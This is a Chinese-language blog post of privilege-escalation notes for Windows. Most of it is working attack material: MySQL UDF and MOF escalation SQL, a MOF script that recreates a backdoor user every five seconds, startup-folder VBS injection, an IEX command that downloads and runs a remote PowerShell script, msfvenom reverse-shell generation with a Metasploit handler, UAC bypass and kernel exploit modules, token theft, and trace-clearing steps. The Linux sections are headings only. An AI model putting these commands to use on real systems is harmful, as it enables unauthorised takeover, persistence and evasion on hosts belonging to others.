提权

Windows Linux 内网信息搜集 windows 宝塔面板方法 Linux sudo权限提升

发布时间:Thu Feb 05 2026 01:39:58 GMT+0800 (Hong Kong Standard Time)分类:杂项记录

Windows

```

权限划分
Administrators:管理员组,
默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
Power Users:高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
Users:普通用户组,这个组的用户无法进行有意或无意的改动。
Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
Everyone:所有的用户,这个计算机上的所有用户都属于这个组。

基础命令
$ query user # 查看用户登陆情况
$ whoami # 当前用户权限
$ set # 环境变量
$ hostname # 主机名
$ systeminfo # 查看当前系统版本与补丁信息
$ ver # 查看当前服务器操作系统版本
$ net user # 查看用户信息
$ net start # 查看当前计算机开启服务名称
$ netstat -ano # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f # 强制结束指定进程
$ taskkil -PID pid号 # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption # 查看系统名
$ wmic product get name,version # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁

添加管理员用户 $ net user username(用户名) password(密码) /add # 添加普通用户 $ net localgroup adminstrators username /add # 把普通用户添加到管理员用户组 # 如果远程桌面连接不上可以添加远程桌面组 $ net localgroup "Remote Desktop Users" username /add 系统漏洞提权 系统漏洞漏洞提权一般就是利用系统自身缺陷,用来提升权限。通常利用systeminfo查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

查询补丁信息
WinSystemHelper

:检查可利用的漏洞。该工具适合在任何
Windows

服务器上进行已知提权漏洞的检测
上传WinSysHelper.bat、explt2003.txt、expgt2003.txt,运行bat查看结果
然后在可利用的Exp中任意下载一个并执行即可
$ WinSysHelper.bat
Sherlock

:在Windows下用于本地提权的PowerShell脚本

分析漏洞出漏洞后利用对应Exp即可
# 启动Powershell
$ powershell.exe -exec bypass

本地加载脚本 $ Import-Module Sherlock.ps1

远程加载脚本 $ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

检查漏洞,Vulnstatus为Appears Vulnerable即存在漏洞 $ Find-AllVulns 提权辅助平台 漏洞编号查询:根据补丁信息查找漏洞编号 Exp查询:根据补丁信息查找Exp Windows-Kernel-Exploits:Windows平台提权漏洞集合 提权步骤 除了需要注意每种漏洞所适用的详细系统版本及位数外,实战中还需要事先免杀并调试好Exp,否则可能有蓝屏等风险。

先运行systeminfo,并将其中的修补程序内容复制到提权辅助平台 - Exp查询进行查询Exp。如:
[01]: KB2999226
[02]: KB976902
然后根据可选补丁编号以及目标系统,选择对应的Exp下载运行即可。
另外还需要注意提权Exp的运行方式,一般有以下几种:
直接执行exe程序,成功后会打开一个cmd窗口,在新窗口中权限就是system
在WebShell中执行exe程序,执行方式为xxx.exe whoami,成功后直接执行命令,再修改命令内容,可以执行不同的命令
利用MSF等工具
C++源码,Python脚本,PowerShell脚本等特殊方式
数据库提权
MySQL
前提:拿到Root密码
注意:
MySQL5.7以后secure-file-priv的问题
MySQL5.7后,系统的用户表mysql.user中的密码字段已从password修改为authentication_string
UDF提权
原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd
利用条件
系统版本:Win2000、WinXP、Win2003
具有对MySQL的insert/delete权限的账号,用以创建和抛弃函数。最好是root,或具备root账号所具备的权限的其它账号。
UDF木马提权
已有Webshell的情况下可以直接上UDF马
UDF手工提权
获取UDF:将

sqlmap\data\udf\
中找到对应系统的

dll_
文件,复制到

sqlmap\extra\cloak\
,输入以下命令即可得到

SQLMap自带的shell及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,需要利用SQLMap自带的解码工具cloak.py进行解码
$ python cloak.py -d -i lib_mysqludf_sys.dll_
寻找目录
MySQL<5.1,UDF导出到系统目录c:/windows/system32/
MySQL>5.1,UDF导出到MySQL安装目录lib\plugin\目录(该目录默认不存在,需手动创建)
-- 寻找MySQL目录
mysql> select @@basedir;
mysql> show variables like '%plugin%';

-- 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建
mysql> select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';
mysql> select '123' into dumpfile 'C:\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
导出UDF:直接上传没有权限,可通过MySQL语句写入
-- 在【本地】以二进制读取UDF并转换十六进制
mysql> select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt';

-- 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll
mysql> select unhex ('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll";

-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径
利用UDF创建用户自定义函数
mysql> create function sys_eval returns string soname 'myudf.dll';
利用函数执行命令
mysql> select sys_eval("whoami")
MOF提权
MOF提权条件
Windows 2003及以下版本
MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
MOF提权原理
MOF文件每五秒就会执行,而且是系统权限,通过MySQL使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次上传的MOF。MOF当中有一段是vbs脚本,可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

nullevt.mof的利用代码如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
# 执行命令,新建用户naraku
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user naraku 123456 /add\")";
};
instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $EventFilter;
};
提权步骤
将上面的脚本上传到有读写权限的目录下,如:C:/xxx/

使用sql语句将文件导入到

c:/windows/system32/wbem/mof/

这里不能使用outfile,因为会在末端写入新行,而MOF在被当作二进制文件时无法正常执行,所以需要用dumpfile导出一行数据。
select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
当我们成功把MOF导出时,mof就会直接被执行,且5秒创建一次用户
痕迹清除
提权成功后,就算被删号,MOF也会在五秒内将原账号重建,如果要删除入侵账号可以执行以下命令:
$ net stop winmgmt
$ del c:/windows/system32/wbem/repository
$ net start winmgmt
然后重启服务即可
启动项提权
已知root密码
file_priv不为null
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
MSSQL
前提:拿到SA密码
利用方式
传统

xp_cmdshell
利用

xp_cmdshell被删如何恢复
借助COM组件执行命令

借助CLR执行命令(类似MySQL UDF)

本地Hash注入+端口转发/Socks实现无密码连接目标内网MSSQL

利用Windows访问令牌实现无密码连接目标内网MSSQL

Oracle
通常情况下Oracle服务的运行权限都非常高
MSF下各类自动化利用模块
通常情况下,Oracle服务的运行权限都比较高
MSF提权
注意以下命令执行时的状态
$:Linux命令行下
msf:进入MSF控制台
meterpreter:进入某个session
# 生成木马并放入靶机
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o /tmp/win.exe
# 攻击机监听
$ msfconsole
msf> use exploit/multi/handler
msf> set payload windows/meterpreter_reverse_tcp
msf> set lhost <攻击机IP>
msf> set lport <攻击机端口>
msf> exploit
# 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令
meterpreter> shell
C:\Users\Naraku\Desktop>whoami
naraku-win7\naraku
# 出现中文乱码可运行
# C:\Users\Naraku\Desktop>chcp 65001
GetSystem
直接运行getsystem
meterpreter> getsystem
BypassUAC
相关脚本
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
meterpreter> background # 后台session
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run
img

内核提权
这里查询补丁跟前面systeminfo一样,配合提权辅助平台 - 漏洞编号查询可利用漏洞编号
# 查询补丁
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
也可以使用local_exploit_suggester查询哪些Exp可以利用。
# 查询Exp
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run
img

这里将上一步查询到的Exp打了一遍发现都没有成功,回头一看发现原来是系统位数的原因。这里的Meterpreter运行在32位,而系统位数为64位。
img

因此需要做进程迁移,将Meterpreter迁移到一个64位的进程。
meterpreter> sysinfo # 查看位数
meterpreter> ps # 查看进程
meterpreter > migrate <PID> # 进程迁移
img

重复前面使用local_exploit_suggester那一步,可以看到现在查询的是64位的Exp
img

这里选择选个比较新的CVE_2019_1458
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
img

令牌操纵
incognito假冒令牌
meterpreter> use incognito
meterpreter> list_tokens -u # 查看可用的token
meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
meterpreter> execute -f cmd.exe -i –t # -t使用假冒的token 执行
meterpreter> rev2self # 返回原始token
steal_token窃取令牌
meterpreter> ps # 查看进程
meterpreter> steal_token <PID> # 从指定进程中窃取token
meterpreter> drop_token # 删除窃取的token
```

Linux

内网信息搜集-windows

宝塔面板方法

Linux sudo权限提升

如需交互式阅读、购买或评论,请打开站内完整版页面。